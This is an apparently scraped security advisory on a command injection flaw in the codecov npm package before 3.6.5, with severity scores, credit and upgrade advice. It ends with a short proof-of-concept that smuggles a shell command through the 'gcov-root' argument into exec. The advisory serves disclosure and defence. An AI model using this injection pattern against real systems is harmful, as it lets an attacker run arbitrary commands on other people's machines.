Command Injection Affecting codecov package, versions <3.6.5



    Exploit Maturity Proof of concept
    Attack Complexity Low
    Confidentiality High
Expand this section
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-CODECOV-548879
  • published 16 Feb 2020
  • disclosed 16 Feb 2020
  • credit JHU System Security Lab

How to fix?

Upgrade codecov to version 3.6.5 or higher.


codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.

PoC by JHU System Security Lab

var root = require("codecov");
var args = {
  "options": {
    'gcov-root': "& touch exploit &",
    'gcov-exec': ' ',
    'gcov-args': ' '
root.handleInput.upload(args, function(){}, function(){});